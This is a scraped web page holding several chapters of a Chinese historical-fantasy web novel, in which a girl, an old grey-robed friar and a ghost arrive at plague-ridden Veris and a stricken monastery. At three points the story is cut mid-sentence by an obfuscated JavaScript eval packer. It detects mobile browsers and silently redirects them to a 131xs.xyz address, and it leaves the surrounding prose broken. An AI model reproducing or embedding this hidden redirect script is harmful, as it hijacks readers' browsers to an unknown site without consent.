“你们这都不算什么!我还听过更厉害的呢!”众人嘈杂的欢笑中,一位年轻人举起酒杯站起身,放大声音压过其他人的声音,“你们可知威讷提的拿奎拉夫人?她的丈夫可是当地数一数二的巨贾,提供了她体面又奢侈的生活,可那也让拯救不了那位夫人生锈的脑子,居然在一位修士的哄骗下将其当成了天使下凡,还上了对方的……” “安德烈亚!” 见他越说越不像话,商队领头顿时脸色一变,当即喝止了侄子的话头:“萨瓦托雷修士可还在这里呢!” 经叔父的提醒,举着酒杯侃侃而谈的年轻人不由也露出一丝赧然,赶忙红着脸向老修士致歉。 他坐下后不敢再说放肆的笑话,这一下子让席间少了不少乐趣,顿时有人不满起来。 “……我们又不是说假话,大家都知道的事还不让人说啊?”有人小声嘟囔道,“而且听说那人也是个灰袍修士呢……” 尽管他后面的话因为领队的瞪视收住了,可众人的视线还是不由自主地落到在场唯一一位修士的身上。 作为萨瓦托雷修士带在身边的“同伴”,菲丽丝此时也能感受到那些人打量的目光。 这种被窥探的感觉让人很不舒服。她光是坐在旁边就有些坐立难安,更不要说那个处于风暴中心的人了…… 这么想着,她也忍不住去瞥身边老人的神色。 与众人想象中的不同,即使刚刚几乎被人指着鼻子骂了,发须皆白的老修士却像是完全没听见般平静地拿着勺子,一点点把碗里的食物吃干净,直到把嘴中最后的食物咽下才抬起头。 “你们今天讲的故事都很精彩。”老人稍微整理了下仪容,这才抬头露出一个笑,用那特有的缓慢声调温和道,“看现在时间还早。如果还没有疲倦,不知大家是否有兴趣在睡前祷前听听我讲的故事?” 不知是为了缓解尴尬还是出于对修士的尊重,商队领头非常爽快地答应了。 其他人见他已经答应也不好再反对,尽管有人明显露出不耐的表情,可看在领队的面子上并没有人起身离开。 作为一名神职人员,萨瓦托雷修士的故事自然不会有什么香艳或猎奇的成分。 可就像教科书总比不上通俗小说有吸引力,这种从诞生时就带着说教意味的故事终归不会比男女间的故事更能引人兴奋。 带着这样的刻板印象,菲丽丝一开始就没对老修士的故事没抱太多期待,只想着自己可千万不要睡过去才好。 然而听着听着,不但是她,桌边所有人都被老人口中的故事吸引了。 与其他热衷传教的灰袍修士一样,萨瓦托雷修士讲述的是那图拉修会的创立者——圣那图拉前往弥撒尔传教的故事。 弥撒尔王国距离意图恩诺很远,途中总是免不了生出不少波折。 圣那图拉遇到过好人也遇到了歹人,有一次还差点被海盗扔到海里喂鲨鱼,可每次危机都能被虔诚而聪明的圣徒化解。 说实话,比起之前的“二夫二妻的4P生活”,这个故事的发展实在有些平淡。 尤其是当老修士说到圣那图拉被海盗投进海里,却很快被鲸鱼托起、安全送到一座小岛时,菲丽丝差点没忍住笑出声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536183|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可她也不得不承认,即使这是个寡淡中带着些许荒诞的故事,在经由萨瓦托雷修士那平稳的声线说出后,居然意外地让人的内心感到一片宁静。 那种感觉实在难以描述……仿佛她回到了最惬意的年纪,正躺在清朗夏日的草坪上,鼻尖尽是青草的芬芳,湛蓝的天空上有白云随着风向一旁飘动。 不用为过去的记忆感到痛苦,也不用为未来的生计感到焦虑。只是静静看着那片云匀速飘走,全身心享受此刻的宁静就好。 为了这份难得的宁静,即使猜到之后这些磨难会被伟大的圣徒一一化解,她依然撑着下巴听眼前的老人慢悠悠地继续。甚至有那么一刻,她希望他能永远讲下去。 当然,任何故事总归都有一个结局。 即使萨瓦托雷修士还没有讲到圣那图拉来到弥撒尔王国的王宫,由于时间原因他也必须停下,并提醒桌边的众人到休息时间了。 “这、这就结束了?”那最开始出言讥讽的年轻人从故事中回过神,怅然若失后又急切地看向已经准备拄着木杖起身的老修士,“可您还没讲完呢,不能就这么走了啊!” “如果你们愿意听,我们明天再继续吧,今天实在太晚了。” 老修士笑着对一群年轻人轻轻颔首,和蔼道:“在同行的这段时间,我还有很多故事愿意与你们分享。” 有这句保证,商队中的年轻人总算舍得放他离开。 菲丽丝跟着离开时往后看了眼,见还有人在朝他们的方向张望,顿时有些忍俊不禁。 “看来你也很喜欢这个故事。” 头顶突然传来的声音让菲丽丝打了个激灵,可对上老人温和的眼睛,她还是不自主地点点头:“这是个很棒的故事……” “但你看起来有些疑惑。” “嗯……”菲丽丝犹豫片刻,点头承认道,“我实在无法想象一个人会骑在鲸鱼的背上逃走……那只鲸是偶然路过的吗?还是被吾主召唤,专门来营救他的?” 老人闻言不由又笑了两声,连木杖敲击地面的声响似乎都轻快了些。 “一个人是生是死在吾主面前没有区别,而这也不是什么巧合,菲丽希安娜,世上真正的巧合实在太少了……”年老的修士边笑边摇头,慨叹道,“不过吾主也是有偏爱的。圣那图拉能以那样的形式逃脱,是因为他能听懂动物的语言,能与它们沟通,甚至能向它们传教。那头鲸鱼就是聆听过他话语的‘兄弟’之一,所以在他呼唤、请求它的帮助时,它便来了。” 见女孩褐色的双眸慢慢瞪圆,老修士慈和的目光不免又加上一分深意。 “这是吾主给予他的礼物,也因此,他愿意舍弃自己在世俗中拥有的一切,将一生奉献给了吾主……” 菲丽丝张张嘴,却是半天没能发出一个音节。 拥有这所谓的“天赋”,就必须为吾主奉献一生吗? 可谁又知道那天赋是不是拥有者本人想要的?至少她自己是不会想要这见鬼的天赋,估计也不是“小菲丽”想要的…… 说到底,这根本不是她们能选择的…… “……圣那图拉将一生奉献给吾主,解救无数人出困境,所以他会在去世后被尊封为圣人,那是他应得的尊荣。” “可那样公认的圣人多少年才会出现一位?谁能做到到死都毫无私欲?我自认那是我自己都做不到的事,自然也无法苛求其他人……” 菲丽丝猛地抬头看向老人,后者却像是毫无察觉。 佝偻的身体上,那颗苍老的头颅始终朝向前方,松弛眼皮下的那双眼睛还是让人看不清是否睁开。 “如果没有成圣意愿,好好做一个凡人也不错。”他摇着头,迈出的步伐与话音一般缓慢,“如果能安稳平凡地度过一生,也是一件十分幸运的事……” 16.灰袍修士3 016 菲丽丝失眠了。 说起来惭愧,不知是因为摆脱了咖啡和不规律的作息还是身体的年龄变小了,自从来到这里后她的睡眠质量就变得异常好。 天一黑就犯困,天一亮就睁眼,中间甚至都没做过一次梦。 可今晚听完萨瓦托雷修士的话后,她整个人就像厨房新手放到平底锅上的肉饼,翻来翻去就是睡不着。 他是发现了,还是没发现? 那些话是说给“菲丽希安娜”的,还是说给“她”听的…… 这个念头自从出现后就深深扎进脑中,无法消失了。 她躺在床上,却恍惚在地上看到一个被绳子吊起的、晃悠悠的剑影。 她感到了危险,却不能抬头确认那盘旋在自己头顶的是一把足以杀死自己的利剑还是一根无害的香蕉……这种感觉实在太折磨人,菲丽丝实在无法心大到什么都不做。 于是从第二天起,在照部就搬地吃过早饭、爬上马车后,她便开始暗暗观察起坐在身边的老修士。 可越是观察,她越觉得对方实在让人看不明白。 萨瓦托雷修士无疑是位非常标准的灰袍修士。 他不食肉,不愿杀生,即使在没有钟声的野外也会按时做祷告,坚持过最俭朴的生活。全身上下全部的财产不过一件破旧的灰袍、一根木杖、一只水囊、一双布鞋和一块刚从旅店老板那里得到的面包。 在菲丽丝的印象中,贫穷总是伴随着痛苦,但这样的定律在老修士身上失效了。 他似乎完全不会考虑如果手中的面包吃完明天该如何度过,周身的气息总是那样平和。 等车队再次行驶到郊野上,发现旅人们都感到枯燥疲倦时,他还带头唱起了歌。 老人的歌声算不上好听,可每次起头唱上两句,骑马走在旁边的青年便会不由自主跟着哼唱起来,甚至有人取出随身携带的短笛,配合着马脖间清脆的铃音吹奏起来。 明亮的短笛声如林间的飞鸟在歌声中自由穿梭,欢快如春雨的藤蔓,无声无息向四周蔓延开。没过多久,整个商队都被一股温和而愉快的氛围包裹。 这样一个人,实在让人无法想象他会做出什么糟糕的事…… 某个瞬间,那被现代信息大爆炸浸染过的脑子中闪过了很多念头,可每当菲丽丝看向那张和悦且布满褶皱的侧脸时,她又不自主地想要去否定。 虽说在崇尚理智的现代,“感觉”一词总会被大众诟病。 但由于这种类似小动物般的直觉在她儿时救过她的命,所以直到成年,她在人际交往中时不时还会依赖这种“直觉”。 就像现在,即使接触的时间尚短,即使对方的某些举动和话语已经让她感到不安,可她确信自己并没有从这位老修士身上感受到丝毫恶意。 更确切地说,他身上散发出的善意实在太过明显,且那份善意也不仅仅是只对她,更像是从天罩下的温暖日光,公平落到每个人身上。 这个人不会伤害我——她的直觉这样说道。 可这没有依据,如果这是他的伪装你又该怎么办——下一秒,理智如蛇般纠缠着大脑,神经始终无法松懈。 菲丽丝的一天就这样在纠结中平静度过。 等到夜幕降临,商队再次入住旅馆时,菲丽丝明显发觉众人对他们这一老一少两位搭顺风车的“外人”亲密了很多。 “我们的运气不错,这些天都没遇到坏天气,差不多明天下午就能到维利斯了。” 晚餐过后,商队领头专门拦下两人,低声说道:“我们在维利斯还有几笔生意要谈,大概要在城内休整两三天,你们要跟我们一起吗?” 不等菲丽丝反应过来为什么这也要问,便听身边的老人已经开口婉拒。 “感谢您的关心,不过我与瑞纳修道院的院长是旧友,这次路过我理应去拜访。” 商队领头对这个答案并不惊讶,点点头:“哦我知道那里,就在城门不远处。到时候我会把你们送到门口,等我确定下具体出发时间后会派人通知您。” 双方交换了下大致的行程安排,临走前才像是想起什么般提醒道:“对了,明天我们就要进入维利斯的周边地带了。现在这种时候想来要比之前更不安全,要是发生了什么还请一定保护好自己。” 更不安全……还能怎样不安全? 没人注意的角落,菲丽丝瞥了眼飘在一旁的幽灵,很快沉默收回视线。 现在的维利斯与阿斯卡一样,也是脱离了帝国皇帝掌控的“共和国”。 这样的政体虽然在贸易上更加繁荣,可在维护城内及周边治安方面也有无法忽视的短板。 比如现在的阿斯卡共和国,它没有自己的军队,遇到需要打仗时基本靠招募雇佣兵,平时在城内负责维持治安的人数不多,实在无法保证周边地区都能安全。 尤其近几年连续的粮食歉收已经出现小规模的饥荒,过不下去的农民和被赶出城的乞丐无赖让聚集在城外的强盗队伍更加壮大,城内定期派出的剿匪队伍已经无法控制他们的数量了——派勒乌索教授被害就是最好的例子。 此时的阿斯卡还没有被维利斯吞并,是与维利斯实力不相上下的共和国。 以此也能推测出,维利斯城附近必然也充满了等待劫掠“肥羊”的匪徒。 菲丽丝这么想着,第二天醒来便打起十二分的精神注意周边的情况。 她想象过也许会有一支箭在毫无预兆的情况下朝商队射来,也许会有人挥舞着刀剑冲向他们,也许他们还会骑着马从树影中窜出…… 就在她脑中把过去在影视剧和小说中看过的所有“盗匪”形象都过了一遍后,商队已经走到能远远看到维利斯城墙的位置了。 他们已经来到城周边,也是平时对商队来说最危险的位置,可他们并没有遇到想象中的强盗。 直到商队众人一路紧张地走到城墙下,能看到维利斯的城门时,他们才确定自己居然真的如此幸运,一路上连一个强盗都没有遇到。 但不等人们松口气,在他们即将进入城门时,一幅诡异的画面就那样猝不及防地闯进众人眼中。 一队人正从城门中走出,或是手推着车,或是用马或驴拉着,正在一位守卫的指挥下将什么运往城外。 那些车上的东西有些杂乱无章,远远看去就像一堆没有整理过的干草,可但凡有点生活经验的人也能从人们沉重的步伐中确定车上的“货物”重量并不轻。 随着双方越来越近,商队中骑马走在最前方的年轻人突然发出一声短促的惊呼,惊得跟在他身后的兄弟差点拔剑。 “是……那些是……” 前两天还举着酒杯、满面红光地在餐桌上讲黄色笑话的年轻人此时脸色煞白。 他定定盯着对面车队看了数秒,终是没忍住,几乎是连滚带爬地下了马,躬身在一旁呕吐起来。 他的兄弟见状急忙吆喝后面停车,策马上前抓住那空置的缰绳,等马儿平静下来、还没来得及询问一旁人到底怎么了,突然也像是被什么控制住,整个人都僵直不动了。 商队不算大,前方的骚动很快引起后方人的注意。 菲丽丝忍不住直起身体,尽量伸长脖子往前张望,可碍于她实在太矮,并没有在第一时间看到什么。 不过很快,她便从一阵风中得到了自己想要的信息。 一股臭味,准确说是一股腐烂的气味,乘风而来,逐渐将所有人包裹其中。 商队的马车停下了,可对面没有。 车轮在地面滚动着,发出嘎吱嘎吱的声响,沉默地从商队旁路过。 视线没有被遮挡,这次菲丽丝总算看清了那股臭气的来源。 是尸体,人类的尸体,正被无规律地堆叠在一起。 有的大张着双腿仰面朝天,有的趴俯着,有的露出双臂,有的只露出一只脚,有的从白花花的夹缝中艰难露出已经腐烂了的半张脸……仿佛即将被运往垃圾站的垃圾,不管是数量还是那堪称随意的摆放方式都让人感到一阵毛骨悚然。 “吾主在上……这里发生了什么?!” 商队领头在愣怔后终于回过神,赶忙下马向那穿着守卫衣服的人走去。 “南边来的商队?” 身上披着维利斯城徽的守卫捂着口鼻看了眼这些装满货物的车马,又上下打量领队一阵,摆手道:“要进城就去交入城税,这里没什么可看的。” 商队领头愣愣看着他走开,紧接着对上一双充满恶意的眼睛。 “发生了什么你看不出来吗?”推着车的运尸人发出“咯咯”的低笑,牵扯着脸上的黑疮一起变了形状,“你们从哪里来的?阿斯卡还是雷慕城?都没见过这东西吗?” 那人说罢还朝愣怔中的领队吐了口唾沫,见对方慌张躲开才大笑着继续推车离开。 “地狱的大门已经敞开——我的兄弟,无人能阻挡——” “我们将他们埋进地里,他们从地下爬出——带走更多——我的兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539979|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟,无人能阻挡……” 诡异而癫狂的歌声很快被守卫的喝骂止住,可商队一行人却迟迟没有动作。 直到领队抹了把脸打起精神,车轮才在马儿的带动下重新转起来。 “……萨瓦托雷修士,我……我知道这个请求有些……但您是否能帮忙说和,让我们暂时在修道院的客院休息片刻?” 商队领头悄悄来到老修士身边,用近乎乞求的声音低声道:“这……我没想到维利斯的疫病已经这么严重了……我想先派人去看看城内的情况……” 男人似乎有些难以启齿,不过善良的修士已经感受到他的羞窘,安抚好身边趴在车边干呕的女孩后便转过了身。 “这是当然,修道院原本就该向所有路过的旅人敞开大门。”他说道,“不过瑞纳修道院的规模并不大,可供旅人休息的房间有限,食物也许还有,可其他的必然比不上城中的旅店……” “我明白我明白!”领队激动应道,“我们不会打扰太久,如果内城的情况还可以我们会去那边落脚……” 敲定之后的行程后,商队的行进速度便加快了。 瑞纳修道院距离他们目前经过的城门很近。交完入城税,一行人没走多久就在老修士的指引下来到一座修道院门前。 比起一眼看不到顶的阿斯卡大教堂,这座修道院的占地面积实在不算大,连最主要的教堂都建得不高,灰扑扑的墙面更是显得格外寒酸。 旧大陆上的修道院数量本就很多,尤其是在大城市及其附近,修道院和修女院的数量便更多了。 这些修院之所以能建起、运营也各有渠道,有的大有的小很正常……不过现在太阳还高高挂在天上,虽已过了午时却距离黄昏还远,面前的这栋青灰色建筑却不知为何已经早早关上了门。 商队领头在走近修道院后就感觉这里安静到有些异常,踌躇一息后立刻安排自己的侄子去城内打探消息,这才上前叩响大门。 叩叩叩、叩叩叩—— 叩门声不断响起,却迟迟得不到回应,只有不知栖息在哪根树枝上的乌鸦发出两声粗粝的嘲笑。 流连在鼻尖的那股腐臭似乎更浓重了,想起进城时看到那一幕,商队领头的额上已经沁出冷汗,叩门声也变得更加没了章法。 “来这边。” 就在领队几乎要开始砸门时,萨瓦托雷修士总算从马车上下来,拄着手杖走到近前后指出一个方向:“那边还有扇侧门,我去看看是否有人。” 在老修士的带领下,众人总算绕到建筑侧面,发现了那扇较为隐秘的小门。 菲丽丝的视力不错,第一眼便看到那扇门时就发现它虚掩着留了一条缝,下一秒却猛地关上了。 “里面有人!” 商队领队显然也发现了,大喝一声后便率先冲上前,一拳砸在木门上:“喂!快开门!你们不都是修道士吗?为什么看到我们要关门——” 他将刚刚被吓到的怒气完全发泄到眼前的门上,力道大到那看起来就不太结实的木门开始发出呻吟。 “别敲了!” 终于,门内的人像是受不了般发出一阵带着恐惧的哭腔:“都、都说过你们不要再来了……我们、我们已经没有人手去照顾其他人了啊!” 领队闻言愣了下,敲击的拳头也跟着停下。 正好此时萨瓦托雷修士也已经走到近前,拍了拍男人的肩膀,取代了他的位置开始与对方交涉。 “日安,我的兄弟。我是阿西亚的萨瓦托雷修士,迦莱修士之好友,我曾写过信约定今年会来拜访他。”老人依然用那和缓的语气缓慢说道,“是否能麻烦您转告他一声?” 话音落下,门另一边突然陷入沉默。 就当大家以为对面不会回应时,那扇已经有些摇摇欲坠的木门居然“嘎吱”一声开了。紧接着,一个鸡蛋般光秃秃的头顶从里面伸了出来。 “我、我听院长说过这个名字……” 那穿着灰袍的修士只开了一条门缝,小心翼翼地打量着外面的老人:“您真是阿西亚的萨瓦托雷修士?” “吾主在上,我不会说这种谎。”萨瓦托雷修士说道,“如果您怀疑,为什么不让他出来见我呢?” “…………” “他、他来不了了……” 那年轻的修士突然崩溃般跌坐到地上,失声痛哭道:“迦莱院长……大家都死了!都是那些病人……他们身上的怪病!他们自己活不了,为什么还要连累大家一起去死!” 17.灰袍修士4 017 年轻修士的声音像一把尖刀,随着起伏的哭声一刀刀划下,只让人的心口跟着一点点变冷。 萨瓦托雷修士应当也没料到对方会当场崩溃,急忙伸手将人扶起,又温声安慰了一阵,那年轻修士终于慢慢止住了哭声。 也是在这短暂的几分钟里,众人从他断断续续的描述中得知了这座修道院里究竟发生了什么。 这座建在维利斯城外围的修道院属于那图拉修会置院派的修道院,里面居住的当然也是隶属那图拉会的灰袍修士。 只不过与萨瓦托雷这种坚持靠乞讨四处行走的传统灰袍修士不同,置院派的灰袍修士们都居住在属于自己教会的修道院里。 尽管那图拉会的修道院大多不涉及征收什一税,日常支出全都靠附近居民的施舍,生活质量与那些黑衣修士们完全无法相比,但比起居无定所、四处流浪的生活还是好很多。 也是因此,即使是置院派的那图拉修士也会比黑衣修士们显得更加亲民,他们清贫的生活使普通居民更加相信他们的人品,而当遇到麻烦时,大家最先想到的也是去找“更容易亲近”的灰袍修士解决问题。 修道院在这个时代本就兼任了医疗和慈善的机能,尤其是那图拉会的修道院,自愿遵守圣那图拉教义的修士们往往更加乐于助人,因为那就是他们信念的支柱。 于是当接二连三的病人敲响修道院的大门时,那位德高望重的院长完全没有任何犹豫地打开大门接纳了他们,并发动所有修士在修院内设置起临时病房,一起照看这些被病痛折磨到不成人形的可怜人。 如果仅听过程,这确实是个很令人感动的故事。 也许流传到几十上百年之后,依然能成为人们宣扬那图拉教会、为教会增加信徒的谈资。 可这种会让人感动到落泪的故事总会有一个悲惨的结局——就像现在,只是短短半个月的时间,这座小修道院中包括院长在内的22名修士现在活着的只有两个人。 除了眼前这位还在啜泣的年轻修士,还有一人已经染病躺在床上三天了,不知是否能熬过这一关。 商队领头在听说修道院内还有一名染病的修士时顿时脸色大变,脚步都跟着向后退了半步,显然对自己那有些冒失的临时决定有了悔意。 等侄子打听完内城的消息回来,得知城内部分街区并没有外城这么严重,咬咬牙,最后还是决定按原计划进入内城。 临走前,他再次向同行一路的灰袍修士提出邀请,毫无悬念地再次被萨瓦托雷修士拒绝……只是他的拒绝并没有之前那么果决,刚说完便带着犹豫看向站在身边的孩子。 “这里有病人需要帮助,他也是我的兄弟,我必须留下照顾他。”老修士对菲丽丝说道,“但这不是你的责任,你不需要跟我一起留在这里,现在去内城住也比这里更安全……如果你愿意,可以跟着他们进城,我们三天后再见。” 菲丽丝没想到他还会给自己这么一个选择的机会,愣怔片刻,脑中立刻开始分析起利弊。 说实话,这似乎是个逃离对方的绝好机会。 毕竟依照眼前这位老修士目前的表现来看,他如果不是个真正纯善之人,那就必然会是个极其擅长伪装的人贩子或者疯狂的邪教徒。 尤其是他身上穿着的破烂衣袍和修士的身份设定,如果放在后世的娱乐作品中绝对会是后者……就算不考虑这些,去病人较少的内城似乎也是个更安全的选项…… 菲丽丝低垂着眼眸,余光扫过周围男人健壮的小腿,最后视线落在自己那攥紧在胸前的小手,以及手中能摸到的、藏在短斗篷下的那只钱袋,最后还是摇摇头。 “我想住在这里。”她微张开嘴,用有些含糊的声音说道,“我可以一个人单独住,我能照顾好自己……” *** 她作出了选择,萨瓦托雷修士没有勉强。 老人再次与商队领头商量好大致的时间,便一手扶着快要哭晕的年轻修士,一手拄着拐杖,抬脚跨进小门。 这是一座很小的修道院,从侧门进入教堂后直接就能看到右手边的祭坛,左手边则是教堂中殿。 此时刚过晌午,教堂中并没有点灯,菲丽丝只能从射入窗户的日光中看到殿中的场景。 本应整齐摆放的长凳歪七扭八地堆放在墙壁边,取而代之的是几块看不清面料的毯子,卷曲成一个个怪异的形状,仿佛有什么人正无声趴伏在阴影里…… 所有思绪都如流光般在脑中一闪而过,很快就沉入心底。 菲丽丝的脚步只短暂停下一瞬,下一秒再次加快脚步跟上前面的两人,走进修士们的生活区。 修士宿舍中还有一位病人,萨瓦托雷修士自然不能让她跟着进去。 在他本人进去之前先找出两条看上去比较干净的毯子,把女孩安置在厨房后便离开了。 “这里还算不错。晚上有壁炉取暖,也不用担心挨饿。” 派勒乌索教授率先在厨房中飘了一圈,总结道:“你的选择是对的,这里肯定要比内城安全。” 现在外面的天气很好,菲丽丝打算先把那两条不知道有没有寄生虫的毯子洗一洗,说不定晚上就干了。 正准备去舀水就听到他这么说,忍不住顺口回道:“你刚刚跟着去内城了?那边的情况很糟糕?” “没有完全进去,就在外围看了会儿……你知道我不能离你太远。”长胡子的幽灵讷讷嘟囔了两句什么,这才再次正色道,“维利斯城内的具体情况我是不太清楚,不过光看城门口的那幅场面就知道了,这里现在应该跟威讷提的情况差不多,甚至比当时的威讷提还严重。” 菲丽丝记得,派勒乌索教授说他之所以会突然决定回阿斯卡,就是因为他之前居住的城市威讷提率先爆发了瘟疫,一周内突然死了上千人,这才让他匆匆带着护卫逃离了那座城市。 刚刚那一车的死人有多少?一共有多少车? 虽然他们可能不是同一天死掉的,但维利斯大概也不只有一道城门…… 不过最让菲丽丝感到毛骨悚然的是那些死者的状态。 她见过这个时代正常葬礼的样子,明白即使在几百年前,意图恩诺人也很重视亲人的身后事。 他们会为死者整理遗容,会为他们穿上最好生前最好的衣服,郑重地将尸体装进棺材,由亲朋护送着来到教堂附近,最后请神父主持葬礼。 那是很重要的一步,是生者能为死者做的最后的事,是一件毫无疑问的、需要被严肃对待的事。 可在这里,那些尸体被像垃圾一样随意摆放着,毫无尊严,比屠宰场的死猪还要凌乱地堆放在一起。 城里到底死了多少人,才会让所有人都放弃了对死者最后的尊重,任由他们以那样的姿态被推出城…… “……也许事情也没我们想得这么严重。” 见女孩的脸色再次惨白起来,派勒乌索教授心中顿时生出些愧疚,安慰道:“反正我们三天后就会离开,这波疫病如此严重其他城邦必然会听到消息,就算之前不信现在也该信了,多多少少该有所防范……” 菲丽丝知道他是在让自己放松一些,可存放在大脑中的知识还是让她连一个假笑都扯不出来。 黑死病的蔓延速度太快了,就像火星落到木屑干草上,在短短两年就从意图恩诺半岛蔓延到了整个西陆,包括与旧大陆隔海相望的马黎岛也不例外……没有一个国家能躲过这位死神手中的镰刀,也没有谁能阻止那把镰刀肆意挥下,收割走西陆三分之一的人命。 就像一盆水被灌入蚁穴,就算有一只蚂蚁预知到了这一切又有什么用呢? 可以淹没一切的洪水已经降下,一切都只能交托给命运。 菲丽丝沉默看了眼泼在地上的水渍,开始用力一节节拧干毯子上残存的水。 咚咚咚、咚咚咚———— 就在她拖着椅子把湿毯子撑开晾晒到院子里时,修道院的前门再次传来一阵急促的敲门声。 也许是距离隔得比较远,也可能是敲门者的力气比较小,她侧耳倾听了好一阵才意识到是真的有人在敲门。 “是个男孩,看着十三四岁……” 当菲丽丝跑到门前时,派勒乌索教授已经从门的另一边穿回来了,犹豫片刻才面色复杂道:“……他应该是来求助的。” 菲丽丝在脸上画了个圈,借着敲门声的遮掩低声道:“他……也生病了?” “不,看着不像。”幽灵在自己身上指了几处,“他露出的皮肤上没有那些黑斑,但身上灰扑扑的,有几个地方还在流血,像是摔倒受的伤。” 修道院理应向所有需要求助的人敞开大门,可别说她不过是这里的客人,这间修道院里也确实无法再救助其他病人了…… 就在菲丽丝打算回去找人时,敲门声终于变慢了,变为一下接一下的拍击和断断续续的恳求。 “求求您,求求你们……谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548817|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都好,开开门吧……” 那道沙哑的声音如此乞求道:“我的母亲要不行了……她没有得疫病,真的没有……我不求你们治好她,但求求你们……求求你们在她临终前再为她做一次告解,让她能安心地去见圣母……我求求你们,求求你们……” 那声音实在太可怜,像是刚从充满绝望的苦水中捞出来一般,一下又一下,敲击着菲丽丝的心口。 在某个天上挂着银钩的深夜,她也曾这样用尽全力去敲过一扇门。 那时她在想什么? 应该是什么都没有想。 没有想过这样是否有用,没有想过一个正常人是否会因为半夜有个陌生人敲自家的门而害怕,更没有想过这样是否会给他人带来危险。 被逼到绝境时人们似乎总会放弃思考,很少有人能在绝望中不向本能屈服——因为人的心灵就是那么脆弱。 即使回头去看,那个困难已经从不可攀越的高山变为可以一脚踏过的土堆,但菲丽丝依然相信,如果那个夜晚的那扇门没有在自己面前打开,那今天站在这里的她也不会是现在的她了…… “…………” “你不要再敲了,小心弄伤手。” 门的另一边,本已经靠坐到门板上的少年猛地直起上半身。 “有、有人吗?!” 少年飞快抹去脸上的泪痕和鼻涕,手脚并用地爬起来,身体几乎贴到了门上:“求求您,求求您帮帮我母亲吧……她真的没有染上瘟疫,我可以发誓……” “我愿意相信你,可这里已经有人染上了瘟疫。” 不等他说完,门后的声音这样说道:“如果这里的修士跟你去了你家,很有可能会把疫病染给你和你的家人,你确定要冒这个风险吗?” 少年短暂愣了下,下一秒便忙不迭点起头。 “当然!现在这种情况……只要您愿意帮助我的母亲,这根本不算什么!”他显然十分激动,说出的话都有些语无伦次,“谢谢您……我、我真的不知道该怎么感谢才好,我……” “你先别急着感谢,我不是修士,帮不了你太多。” 来自门另一侧的声音再次打断他的话,条理清晰地说道:“我只能帮你向住在这里的修士传话,说明你的情况,如果他们不愿意我也不能勉强他们去……对了,你叫什么名字,家在哪里?要是太远了估计也不行……” 少年有些呆愣地听完这些,这才意识到门内与自己对话的声音似乎有些稚嫩,完全不像是一个会在修道院中出现的声音。 可此时他也顾不得这么多了,急忙报出了自己姓名:“我叫弗朗西斯科,弗朗西斯科·达普拉!我的父亲马尔科在普拉镇上开了一家旅馆,唯一的旅馆!我家距离这里不远,过去我们一家人也经常来维利斯的教堂……” “好的,我会向他们转达你的情况。”门那边的人如此说道,“你不要着急,不管他们答不答应我都会再回来的。” 声音消失了,少年也像是再次失去了所有力气,身体晃了晃差点没站稳。 这是他问过的最后一处……如果再被拒绝,他就只能回家了…… 可回家,能怎么办? 母亲已经被病痛折磨了这么久,如果连最后的告解都没能做就死去,那她还能在天堂与父亲团聚吗? 少年看着灰色的墙砖,突然出了神。 平时很活泛的大脑此时空空的,什么都没想,只任由时间一分一秒过去,可门的另一边始终再没有传来声音。 狂跳的心慢慢冷却下来。有那么一瞬间,他不知道自己到底在坚持什么。 他们家经常往教堂和修道院捐款又怎样?负责普拉镇的神父都抛弃了自己的教区,卷着教堂中所有的银器逃走了,连维利斯城内的神父也变得那样无耻可憎……他为什么会觉得这个建在维利斯外城、他们从没踏足过的修道院会向他伸出援手…… 少年抬头看向天穹,强烈的日光让他最后流出两滴眼泪,闭上眼深吸一口气,按在墙上的手渐渐收紧,最后无力垂下。 就在他准备转身离开时,身后的突然打开了。 昏暗的门内,一位穿着灰袍的老人和一个短头发的小孩慢慢从阴影中走出。 “普拉镇的弗朗西斯科,是吗?” 年迈的灰袍修士笑着走向少年,自我介绍道:“我是阿西亚的萨瓦托雷修士。如果你不介意我并没有身领神职,我愿意为你的母亲做一次的告解。” 18.灰袍修士5 018 普拉镇是距离维利斯城较近的几个小镇之一。不过就算是距离较近,步行所需的时间也实在算不上短。 失去钟表的辅助,菲丽丝完全不知道自己具体走了多久.好在萨瓦托雷修士的行走速度也没比自己强到哪儿去,总算不会让她中途掉队。 其实直到远远看到小镇中的钟楼时,菲丽丝都没想明白自己为什么也跟了过来。 或者说,她从一开始就没想到,萨瓦托雷修士在听到她的传话后会立刻答应去帮忙。 这个时代与现代不同,这里的人没有类似护照驾照那种由政府发行的、能证明自己身份的id卡,想要隐瞒自己的姓名去诓骗陌生人简直轻松到不需要成本。 